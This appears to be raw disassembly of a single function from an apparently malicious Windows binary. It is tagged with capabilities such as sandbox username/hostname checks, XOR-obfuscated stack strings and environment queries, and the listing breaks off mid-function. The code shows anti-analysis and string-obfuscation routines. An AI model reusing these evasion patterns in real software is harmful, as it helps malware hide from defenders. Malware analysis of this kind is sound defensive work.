Function at 0x4d005c
Capabilities:
Check for sandbox username or hostname
Contain obfuscated stackstrings
Encode data using xor
Get session user name
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x6c]
sub esp, 0xfc
mov eax, dword [ebp + 8]
mov byte [ebp - 0x64], 0x42
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x68], 0x7c90ec48
mov dword [ebp - 0xec], eax
mov al, byte [0x4dd9f8]
test al, al
jne 0x4d00ce
mov dword [esp], 0x4dd9f8
call fcn.004ceb90
test eax, eax
je 0x4d00ce
mov dword [esp], ebx
mov ecx, 0x4e0760
call fcn.0042e96c
push esi
mov dword [esp], 0x4cfdc0
call fcn.004013f0
mov dword [esp], 0x4dd9f8
call fcn.004cec60
mov ecx, 0x4e0760
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e0760
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0x1de06e36
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd8c0]
test al, al
jne 0x4d013b
mov dword [esp], 0x4dd8c0
call fcn.004ceb90
test eax, eax
je 0x4d013b
mov dword [esp], ebx
mov ecx, 0x4e0020
call fcn.0042e904
push ecx
mov dword [esp], 0x4cfdc4
call fcn.004013f0
mov dword [esp], 0x4dd8c0
call fcn.004cec60
mov ecx, 0x4e0020
call fcn.0042e8d4
mov dword [esp], 0x4e0020
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d015d
lea eax, [ebp - 0x84]
call eax
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4ddc18]
test al, al
jne 0x4d01ae
mov dword [esp], 0x4ddc18
call fcn.004ceb90
test eax, eax
je 0x4d01ae
mov dword [esp], ebx
mov ecx, 0x4e1420
call fcn.0042e96c
push edx
mov dword [esp], 0x4cf890
call fcn.004013f0
mov dword [esp], 0x4ddc18
call fcn.004cec60
mov ecx, 0x4e1420
mov esi, 0x4dd0e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e1420
call fcn.00422510
mov ecx, 0x37
mov dword [ebp - 0x84], 0x19100602
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4ddbc0]
test al, al
jne 0x4d021b
mov dword [esp], 0x4ddbc0
call fcn.004ceb90
test eax, eax
je 0x4d021b
mov dword [esp], ebx
mov ecx, 0x4e1200
call fcn.0042e834
push eax
mov dword [esp], 0x4cfacc
call fcn.004013f0
mov dword [esp], 0x4ddbc0
call fcn.004cec60
mov ecx, 0x4e1200
call fcn.0042e804
mov dword [esp], 0x4e1200
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d023d
lea eax, [ebp - 0x84]
call eax
xor eax, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LocalHandle]
push eax
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4ddbe8]
test al, al
jne 0x4d029a
mov dword [esp], 0x4ddbe8
call fcn.004ceb90
test eax, eax
je 0x4d029a
mov dword [esp], ebx
mov ecx, 0x4e1300
call fcn.0042e96c
push eax
mov dword [esp], 0x4cff2c
call fcn.004013f0
mov dword [esp], 0x4ddbe8
call fcn.004cec60
mov ecx, 0x4e1300
mov esi, 0x4dd0e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e1300
call fcn.00422510
mov ecx, 0x37
mov dword [ebp - 0x84], 0x2d200e06
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4ddbf0]
test al, al
jne 0x4d0307
mov dword [esp], 0x4ddbf0
call fcn.004ceb90
test eax, eax
je 0x4d0307
mov dword [esp], ebx
mov ecx, 0x4e1320
call fcn.0042e834
push eax
mov dword [esp], 0x4cff64
call fcn.004013f0
mov dword [esp], 0x4ddbf0
call fcn.004cec60
mov ecx, 0x4e1320
lea esi, [ebp - 0x84]
call fcn.0042e804
mov dword [esp], 0x4e1320
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d0329
call esi
mov ecx, ebx
call fcn.0042e594
mov ecx, esi
call fcn.0042e3d8
mov eax, esi
call fcn.004284d4
mov edx, ebx
call fcn.0042839c
mov byte [ebp - 0x60], 0
mov ecx, 0xc
mov dword [ebp - 0x6c], 0x66606f40
mov dword [ebp - 0x68], 0x74676d4f
mov dword [ebp - 0x64], 0x4b707a66
mov eax, ecx
mov ebx, 0xd
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x78], dl
inc ecx
cmp ecx, 0x18
jne 0x4d0363
lea ecx, [ebp - 0x84]
lea ebx, [ebp - 0x6c]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
lea edx, [ebp - 0x6c]
call fcn.0042839c
lea ecx, [ebp - 0x6c]
mov dword [0x4de038], eax
call fcn.0042e594
lea ecx, [ebp - 0x84]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
lea edx, [ebp - 0x6c]
call fcn.0042839c
mov word [ebp - 0x60], 0x797a
mov ecx, 0xe
mov dword [ebp - 0x6c], 0x50646a49
mov dword [ebp - 0x68], 0x45606d73
mov dword [ebp - 0x64], 0x6d756261
mov byte [ebp - 0x5e], 0
mov eax, ecx
mov esi, 0x11
xor edx, edx
div esi
xor byte [ebp + ecx - 0x7a], dl
inc ecx
cmp ecx, 0x1c
jne 0x4d03e0
lea ecx, [ebp - 0x84]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
mov edx, ebx
call fcn.0042839c
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [0x4de048], eax
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4ddbf8]
test al, al
jne 0x4d0464
mov dword [esp], 0x4ddbf8
call fcn.004ceb90
test eax, eax
je 0x4d0464
mov dword [esp], ebx
mov ecx, 0x4e1360
call fcn.0042e96c
push edi
mov dword [esp], 0x4cffdc
call fcn.004013f0
mov dword [esp], 0x4ddbf8
call fcn.004cec60
mov ecx, 0x4e1360
lea edi, [ebp - 0x6c]
mov esi, 0x4dd0e0
call fcn.0042e93c
mov dword [esp], 0x4e1360
call fcn.00422510
mov ecx, 0x37
mov dword [ebp - 0x84], 0x4130160a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4ddc00]
test al, al
jne 0x4d04d5
mov dword [esp], 0x4ddc00
call fcn.004ceb90
test eax, eax
je 0x4d04d5
lea eax, [ebp - 0x6c]
mov ecx, 0x4e1380
mov dword [esp], eax
call fcn.0042e834
push esi
mov dword [esp], 0x4d0014
call fcn.004013f0
mov dword [esp], 0x4ddc00
call fcn.004cec60
mov ecx, 0x4e1380
call fcn.0042e804
mov dword [esp], 0x4e1380
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d04f7
lea eax, [ebp - 0x84]
call eax
mov dword [ebp - 0x6c], 0x6377646d
mov edi, dword [0x4de038]
mov ecx, 0xc
lea ebx, [ebp - 0x6c]
mov dword [ebp - 0x68], 0x34366d73
mov dword [ebp - 0x64], 0x66656c29
mov byte [ebp - 0x60], 0
mov eax, ecx
mov esi, 0xd
xor edx, edx
div esi
xor byte [ebp + ecx - 0x78], dl
inc ecx
cmp ecx, 0x18
jne 0x4d051e
mov dword [esp], ebx
call edi
mov ecx, ebx
push edx
mov esi, dword [0x4de038]
call fcn.0042e4fc
mov dword [esp], ebx
call esi
push ecx
mov ecx, ebx
mov esi, dword [0x4de038]
call fcn.0042e550
mov dword [esp], ebx
call esi
mov ecx, 0xb
push ebx
mov edi, dword [0x4de038]
lea ebx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x6f676973
mov dword [ebp - 0x68], 0x29343668
mov dword [ebp - 0x64], 0x66656c
mov eax, ecx
mov esi, 0xb
xor edx, edx
div esi
xor byte [ebp + ecx - 0x77], dl
inc ecx
cmp ecx, 0x16
jne 0x4d0582
mov dword [esp], ebx
call edi
mov ecx, ebx
push eax
mov esi, dword [0x4de038]
call fcn.0042e484
mov dword [esp], ebx
call esi
mov ecx, 0xb
lea esi, [ebp - 0x6c]
push eax
mov dword [ebp - 0x6c], 0x7071644d
mov dword [ebp - 0x68], 0x45636265
mov dword [ebp - 0x64], 0x4b7167
mov eax, ecx
mov edi, 0xb
xor edx, edx
div edi
xor byte [ebp + ecx - 0x77], dl
inc ecx
cmp ecx, 0x16
jne 0x4d05cd
lea ecx, [ebp - 0x84]
call fcn.0042e4fc
mov eax, ecx
call fcn.004284d4
mov edx, esi
call fcn.0042839c
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [0x4de034], eax
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4ddc08]
test al, al
jne 0x4d0651
mov dword [esp], 0x4ddc08
call fcn.004ceb90
test eax, eax
je 0x4d0651
mov dword [esp], esi
mov ecx, 0x4e13c0
call fcn.0042e96c
push eax
mov dword [esp], 0x4cf680
call fcn.004013f0
mov dword [esp], 0x4ddc08
call fcn.004cec60
mov ecx, 0x4e13c0
mov esi, 0x4dd0e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e13c0
call fcn.00422510
mov ecx, 0x37
mov dword [ebp - 0x84], 0x55401e0e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4ddc10]
test al, al
jne 0x4d06be
mov dword [esp], 0x4ddc10
call fcn.004ceb90
test eax, eax
je 0x4d06be
mov dword [esp], ebx
mov ecx, 0x4e13e0
call fcn.0042e834
push eax
mov dword [esp], 0x4cf6b8
call fcn.004013f0
mov dword [esp], 0x4ddc10
call fcn.004cec60
mov ecx, 0x4e13e0
call fcn.0042e804
mov dword [esp], 0x4e13e0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d06e0
lea eax, [ebp - 0x84]
call eax
mov dword [ebp - 0x6c], 0x4f756555
mov ecx, 0x12
mov dword [ebp - 0x68], 0x6a70606c
mov dword [ebp - 0x64], 0x66604e62
mov dword [ebp - 0x60], 0x636c426e
mov word [ebp - 0x5c], 0x516a
mov byte [ebp - 0x5a], 0
mov eax, ecx
mov ebx, 0x13
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x7e], dl
inc ecx
cmp ecx, 0x24
jne 0x4d070b
lea ecx, [ebp - 0x84]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
lea edx, [ebp - 0x6c]
call fcn.0042839c
mov dword [ebp - 0x6c], 0x4f756555
mov ecx, 0x12
mov dword [ebp - 0x68], 0x6a70606c
mov dword [ebp - 0x64], 0x66604e62
mov dword [ebp - 0x60], 0x636c426e
mov word [ebp - 0x5c], 0x476a
mov byte [ebp - 0x5a], 0
mov eax, ecx
mov ebx, 0x13
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x7e], dl
inc ecx
cmp ecx, 0x24
jne 0x4d0765
lea ecx, [ebp - 0x84]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
lea edx, [ebp - 0x6c]
call fcn.0042839c
mov dword [ebp - 0x6c], 0x57627053
mov ecx, 0x14
mov dword [0x4de040], eax
mov dword [ebp - 0x68], 0x6b676c68
mov dword [ebp - 0x64], 0x61437572
mov dword [ebp - 0x60], 0x78686f7b
mov dword [ebp - 0x5c], 0x47767c62
mov byte [ebp - 0x58], 0
mov eax, ecx
mov ebx, 0x17
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x80], dl
inc ecx
cmp ecx, 0x28
jne 0x4d07c5
lea ecx, [ebp - 0x84]
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
lea edx, [ebp - 0x6c]
call fcn.0042839c
lea ecx, [ebp - 0x6c]
mov word [ebp - 0x80], 0x70
mov dword [0x4de044], eax
mov dword [ebp - 0x84], 0x65656c53
call fcn.0042e3d8
mov eax, ecx
call fcn.004284d4
lea edx, [ebp - 0x84]
call fcn.0042839c
mov dword [ebp - 0x6c], 0x51756557
mov ecx, 0x10
mov dword [0x4de04c], eax
mov dword [ebp - 0x68], 0x6371777a
mov dword [ebp - 0x64], 0x7e6c456a
mov dword [ebp - 0x60], 0x7d6e6579
mov byte [ebp - 0x5c], 0
mov eax, ecx
mov ebx, 0x11
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x7c], dl
inc ecx
cmp ecx, 0x20
jne 0x4d084d
lea ecx, [ebp - 0x84]
call fcn.0042e4fc
mov eax, ecx
call fcn.004284d4
lea edx, [ebp - 0x6c]
call fcn.0042839c
mov byte [ebp - 0x60], 0
mov ecx, 0xc
mov dword [0x4de03c], eax
mov dword [ebp - 0x6c], 0x5675654b
mov dword [ebp - 0x68], 0x456e676a
mov dword [ebp - 0x64], 0x7e677d68
mov eax, ecx
mov ebx, 0xd
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x78], dl
inc ecx
cmp ecx, 0x18
jne 0x4d089f
lea esi, [ebp - 0x84]
mov ecx, esi
call fcn.0042e3d8
mov eax, esi
call fcn.004284d4
lea edx, [ebp - 0x6c]
call fcn.0042839c
mov dword [ebp - 0x80], 0x74686a47
mov ecx, 0xb
mov edi, dword [0x4de048]
mov dword [ebp - 0x84], 0x66677346
mov dword [ebp - 0x7c], 0x6f6567
mov eax, ecx
mov ebx, 0xb
xor edx, edx
div ebx
xor byte [ebp + ecx - 0x8f], dl
inc ecx
cmp ecx, 0x16
jne 0x4d08f3
lea ebx, [ebp - 0x6c]
mov ecx, ebx
call fcn.0042e3d8
mov eax, ebx
call fcn.004284d4
mov dword [esp + 4], esi
mov dword [esp], eax
call edi
xor edi, edi
push esi
push esi
mov dword [0x4de030], eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push eax
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4ddbc8]
test al, al
jne 0x4d0989
mov dword [esp], 0x4ddbc8
call fcn.004ceb90
test eax, eax
je 0x4d0989
mov dword [esp], ebx
mov ecx, 0x4e1240
call fcn.0042e96c
push ecx
mov dword [esp], 0x4cf730
call fcn.004013f0
mov dword [esp], 0x4ddbc8
call fcn.004cec60
mov ecx, 0x4e1240
mov esi, 0x4dd0e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e1240
call fcn.00422510
mov ecx, 0x37
mov dword [ebp - 0x84], 0x69502612
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4ddbd0]
test al, al
jne 0x4d09f6
mov dword [esp], 0x4ddbd0
call fcn.004ceb90
test eax, eax
je 0x4d09f6
mov dword [esp], ebx
mov ecx, 0x4e1260
call fcn.0042e834
push edx
mov dword [esp], 0x4cf768
call fcn.004013f0
mov dword [esp], 0x4ddbd0
call fcn.004cec60
mov ecx, 0x4e1260
call fcn.0042e804
mov dword [esp], 0x4e1260
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d0a18
lea eax, [ebp - 0x84]
call eax
call dword [0x4de030]
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4ddbd8]
test al, al
jne 0x4d0a6f
mov dword [esp], 0x4ddbd8
call fcn.004ceb90
test eax, eax
je 0x4d0a6f
mov dword [esp], ebx
mov ecx, 0x4e12a0
call fcn.0042e96c
push eax
mov dword [esp], 0x4cf7e0
call fcn.004013f0
mov dword [esp], 0x4ddbd8
call fcn.004cec60
mov ecx, 0x4e12a0
mov esi, 0x4dd0e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e12a0
call fcn.00422510
mov ecx, 0x37
mov dword [ebp - 0x84], 0x7d602e16
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4ddbe0]
test al, al
jne 0x4d0adc
mov dword [esp], 0x4ddbe0
call fcn.004ceb90
test eax, eax
je 0x4d0adc
mov dword [esp], ebx
mov ecx, 0x4e12c0
call fcn.0042e834
push eax
mov dword [esp], 0x4cf818
call fcn.004013f0
mov dword [esp], 0x4ddbe0
call fcn.004cec60
mov ecx, 0x4e12c0
call fcn.0042e804
mov dword [esp], 0x4e12c0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d0afe
lea eax, [ebp - 0x84]
call eax
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd930]
test al, al
jne 0x4d0b4f
mov dword [esp], 0x4dd930
call fcn.004ceb90
test eax, eax
je 0x4d0b4f
mov dword [esp], ebx
mov ecx, 0x4e02ac
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfdd0
call fcn.004013f0
mov dword [esp], 0x4dd930
call fcn.004cec60
mov ecx, 0x4e02ac
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e02ac
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0x31f0763a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd970]
test al, al
jne 0x4d0bbc
mov dword [esp], 0x4dd970
call fcn.004ceb90
test eax, eax
je 0x4d0bbc
mov dword [esp], ebx
mov ecx, 0x4e0420
call fcn.0042e904
push eax
mov dword [esp], 0x4cfdd4
call fcn.004013f0
mov dword [esp], 0x4dd970
call fcn.004cec60
mov ecx, 0x4e0420
call fcn.0042e8d4
mov dword [esp], 0x4e0420
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d0bde
lea eax, [ebp - 0x84]
call eax
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd9d8]
test al, al
jne 0x4d0c2f
mov dword [esp], 0x4dd9d8
call fcn.004ceb90
test eax, eax
je 0x4d0c2f
mov dword [esp], ebx
mov ecx, 0x4e06a0
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfde0
call fcn.004013f0
mov dword [esp], 0x4dd9d8
call fcn.004cec60
mov ecx, 0x4e06a0
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e06a0
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0x45007e3e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd9e0]
test al, al
jne 0x4d0c9c
mov dword [esp], 0x4dd9e0
call fcn.004ceb90
test eax, eax
je 0x4d0c9c
mov dword [esp], ebx
mov ecx, 0x4e06c0
call fcn.0042e904
push edi
mov dword [esp], 0x4cfde4
call fcn.004013f0
mov dword [esp], 0x4dd9e0
call fcn.004cec60
mov ecx, 0x4e06c0
call fcn.0042e8d4
mov dword [esp], 0x4e06c0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d0cbe
lea eax, [ebp - 0x84]
call eax
cmp dword [ebp - 0xf0], 2
jg 0x4d101b
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd9e8]
test al, al
jne 0x4d0d1c
mov dword [esp], 0x4dd9e8
call fcn.004ceb90
test eax, eax
je 0x4d0d1c
mov dword [esp], ebx
mov ecx, 0x4e0700
call fcn.0042e96c
push esi
mov dword [esp], 0x4cfdf0
call fcn.004013f0
mov dword [esp], 0x4dd9e8
call fcn.004cec60
mov ecx, 0x4e0700
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e0700
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0x59108642
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd9f0]
test al, al
jne 0x4d0d89
mov dword [esp], 0x4dd9f0
call fcn.004ceb90
test eax, eax
je 0x4d0d89
mov dword [esp], ebx
mov ecx, 0x4e0720
call fcn.0042e904
push ecx
mov dword [esp], 0x4cfdf4
call fcn.004013f0
mov dword [esp], 0x4dd9f0
call fcn.004cec60
mov ecx, 0x4e0720
call fcn.0042e8d4
mov dword [esp], 0x4e0720
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d0dab
lea eax, [ebp - 0x84]
call eax
mov word [ebp - 0x78], 0x7e
mov ecx, 0xd
mov esi, 0xd
mov dword [ebp - 0x84], 0x776c7452
mov dword [ebp - 0x80], 0x2763686d
mov dword [ebp - 0x7c], 0x64787b6d
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0x91], dl
inc ecx
cmp ecx, 0x1a
jne 0x4d0dd3
mov esi, 0x4dd260
mov ecx, 0x51
mov edi, ebx
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x50
mov esi, 0x53
mov eax, ecx
xor edx, edx
div esi
xor byte [ebp + ecx - 0xbc], dl
inc ecx
cmp ecx, 0xa0
jne 0x4d0dfe
lea eax, [ebp - 0x84]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 2
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0042a368
cmp eax, 2
jne 0x4d0f2b
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd8c8]
test al, al
jne 0x4d0e90
mov dword [esp], 0x4dd8c8
call fcn.004ceb90
test eax, eax
je 0x4d0e90
mov dword [esp], ebx
mov ecx, 0x4e0060
call fcn.0042e96c
push edx
mov dword [esp], 0x4cfe00
call fcn.004013f0
mov dword [esp], 0x4dd8c8
call fcn.004cec60
mov ecx, 0x4e0060
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e0060
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0x6d208e46
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd8d0]
test al, al
jne 0x4d0efd
mov dword [esp], 0x4dd8d0
call fcn.004ceb90
test eax, eax
je 0x4d0efd
mov dword [esp], ebx
mov ecx, 0x4e0080
call fcn.0042e904
push eax
mov dword [esp], 0x4cfe04
call fcn.004013f0
mov dword [esp], 0x4dd8d0
call fcn.004cec60
mov ecx, 0x4e0080
call fcn.0042e8d4
mov dword [esp], 0x4e0080
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d0f1f
lea eax, [ebp - 0x84]
call eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.00421798
cmp eax, 3
jne 0x4d101b
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd8d8]
test al, al
jne 0x4d0f85
mov dword [esp], 0x4dd8d8
call fcn.004ceb90
test eax, eax
je 0x4d0f85
mov dword [esp], ebx
mov ecx, 0x4e00c0
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfe14
call fcn.004013f0
mov dword [esp], 0x4dd8d8
call fcn.004cec60
mov ecx, 0x4e00c0
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e00c0
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0x8130964a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd8e0]
test al, al
jne 0x4d0ff2
mov dword [esp], 0x4dd8e0
call fcn.004ceb90
test eax, eax
je 0x4d0ff2
mov dword [esp], ebx
mov ecx, 0x4e00e0
call fcn.0042e904
push eax
mov dword [esp], 0x4cfe18
call fcn.004013f0
mov dword [esp], 0x4dd8e0
call fcn.004cec60
mov ecx, 0x4e00e0
call fcn.0042e8d4
mov dword [esp], 0x4e00e0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d1014
lea eax, [ebp - 0x84]
call eax
xor eax, eax
jmp 0x4d1ea2
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd8e8]
test al, al
jne 0x4d106c
mov dword [esp], 0x4dd8e8
call fcn.004ceb90
test eax, eax
je 0x4d106c
mov dword [esp], ebx
mov ecx, 0x4e0120
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfe24
call fcn.004013f0
mov dword [esp], 0x4dd8e8
call fcn.004cec60
mov ecx, 0x4e0120
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e0120
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0x95409e4e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd8f0]
test al, al
jne 0x4d10d9
mov dword [esp], 0x4dd8f0
call fcn.004ceb90
test eax, eax
je 0x4d10d9
mov dword [esp], ebx
mov ecx, 0x4e0140
call fcn.0042e904
push eax
mov dword [esp], 0x4cfe28
call fcn.004013f0
mov dword [esp], 0x4dd8f0
call fcn.004cec60
mov ecx, 0x4e0140
call fcn.0042e8d4
mov dword [esp], 0x4e0140
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d10fb
lea eax, [ebp - 0x84]
call eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov eax, dword [eax + 4]
mov byte [ebp - 0x64], 0x42
mov dword [ebp - 0xf0], eax
mov al, byte [0x4dd8f8]
test al, al
jne 0x4d115b
mov dword [esp], 0x4dd8f8
call fcn.004ceb90
test eax, eax
je 0x4d115b
mov dword [esp], ebx
mov ecx, 0x4e0180
call fcn.0042e96c
push edi
mov dword [esp], 0x4cfe34
call fcn.004013f0
mov dword [esp], 0x4dd8f8
call fcn.004cec60
mov ecx, 0x4e0180
mov esi, 0x4dd1e0
mov edi, ebx
call fcn.0042e93c
mov dword [esp], 0x4e0180
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0xa950a652
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd900]
test al, al
jne 0x4d11c8
mov dword [esp], 0x4dd900
call fcn.004ceb90
test eax, eax
je 0x4d11c8
mov dword [esp], ebx
mov ecx, 0x4e01a0
call fcn.0042e904
push esi
mov dword [esp], 0x4cfe38
call fcn.004013f0
mov dword [esp], 0x4dd900
call fcn.004cec60
mov ecx, 0x4e01a0
call fcn.0042e8d4
mov dword [esp], 0x4e01a0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d11ea
lea eax, [ebp - 0x84]
call eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov eax, dword [eax + 8]
mov byte [ebp - 0x64], 0x42
mov dword [ebp - 0xf4], eax
mov al, byte [0x4dd908]
test al, al
jne 0x4d124a
mov dword [esp], 0x4dd908
call fcn.004ceb90
test eax, eax
je 0x4d124a
mov dword [esp], ebx
mov ecx, 0x4e01e0
call fcn.0042e96c
push ecx
mov dword [esp], 0x4cfe44
call fcn.004013f0
mov dword [esp], 0x4dd908
call fcn.004cec60
mov ecx, 0x4e01e0
lea edi, [ebp - 0x6c]
lea ebx, [ebp - 0x6c]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4e01e0
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0xbd60ae56
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd910]
test al, al
jne 0x4d12bb
mov dword [esp], 0x4dd910
call fcn.004ceb90
test eax, eax
je 0x4d12bb
mov dword [esp], ebx
mov ecx, 0x4e0200
call fcn.0042e904
push edx
mov dword [esp], 0x4cfe54
call fcn.004013f0
mov dword [esp], 0x4dd910
call fcn.004cec60
mov ecx, 0x4e0200
call fcn.0042e8d4
mov dword [esp], 0x4e0200
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d12dd
lea eax, [ebp - 0x84]
call eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov eax, dword [eax + 0xc]
mov byte [ebp - 0x64], 0x42
mov dword [ebp - 0xec], eax
mov al, byte [0x4dd918]
test al, al
jne 0x4d133d
mov dword [esp], 0x4dd918
call fcn.004ceb90
test eax, eax
je 0x4d133d
mov dword [esp], ebx
mov ecx, 0x4e0240
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfe60
call fcn.004013f0
mov dword [esp], 0x4dd918
call fcn.004cec60
mov ecx, 0x4e0240
lea edi, [ebp - 0x6c]
lea ebx, [ebp - 0x6c]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4e0240
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0xd170b65a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd920]
test al, al
jne 0x4d13ae
mov dword [esp], 0x4dd920
call fcn.004ceb90
test eax, eax
je 0x4d13ae
mov dword [esp], ebx
mov ecx, 0x4e0260
call fcn.0042e904
push eax
mov dword [esp], 0x4cfe64
call fcn.004013f0
mov dword [esp], 0x4dd920
call fcn.004cec60
mov ecx, 0x4e0260
call fcn.0042e8d4
mov dword [esp], 0x4e0260
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d13d0
lea eax, [ebp - 0x84]
call eax
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd928]
test al, al
jne 0x4d1421
mov dword [esp], 0x4dd928
call fcn.004ceb90
test eax, eax
je 0x4d1421
mov dword [esp], ebx
mov ecx, 0x4e02a0
call fcn.0042e96c
push eax
